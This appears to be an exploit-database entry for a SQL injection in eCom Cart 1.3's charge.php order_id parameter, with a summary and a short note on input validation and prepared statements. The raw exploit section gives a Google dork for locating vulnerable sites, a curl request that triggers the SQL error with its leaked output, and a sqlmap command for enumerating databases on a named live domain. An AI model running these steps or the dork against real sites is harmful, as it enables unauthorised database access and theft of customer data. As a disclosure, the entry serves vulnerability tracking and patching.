header-logo
Suggest Exploit
vendor:
eCom Cart
by:
Alperen Eymen Ozcan & Batuhan Camci
7,5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: eCom Cart
Affected Version From: 1.3
Affected Version To: 1.3
Patch Exists: NO
Related CWE: N/A
CPE: a:codecanyon:ecom_cart:1.3
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux
2017

eCom Cart 1.3 Exploit

eCom Cart 1.3 is vulnerable to SQL Injection. An attacker can exploit this vulnerability by sending a maliciously crafted request to the charge.php page with a crafted order_id parameter. This can be exploited using the sqlmap tool to enumerate the database and extract sensitive information.

Mitigation:

Input validation should be used to prevent SQL Injection attacks. Sanitizing user input and using prepared statements can help prevent this vulnerability.
Source

Exploit-DB raw data:

# Exploit Title: eCom Cart 1.3 Exploit
# Google Dork: inurl:"/pdetails/11" ([11] is variable)
# Date: 10.06.2017
# Exploit Author: Alperen Eymen Ozcan & Batuhan Camci
# Vendor Homepage: https://codecanyon.net/item/ecom-cart-a-php-shopping-cart-with-blog/13731007
# Software Link: https://codecanyon.net/item/ecom-cart-a-php-shopping-cart-with-blog/13731007
# Version: 1.3
# Tested on: Linux



$ curl http://localhost/ecom-cart/charge.php -d order_id=%271

Fatal error: Uncaught PDOException: SQLSTATE[42000]: Syntax error or access
violation: 1064 You have an error in your SQL syntax; check the manual
that corresponds to your MariaDB server version for the right syntax
to use near '1'' at line 1 in
/customers/4/4/9/lobisdev.one/httpd.www/ecom-cart/charge.php:16
Stack trace:
#0 /customers/4/4/9/lobisdev.one/httpd.www/ecom-cart/charge.php(16):
PDO->query('SELECT * FROM 3...')
#1 {main}
  thrown in /customers/4/4/9/lobisdev.one/httpd.www/ecom-cart/charge.php
on line 16

$ sqlmap -u "http://www.lobisdev.one/ecom-cart/charge.php' --data=order_id=1 --dbs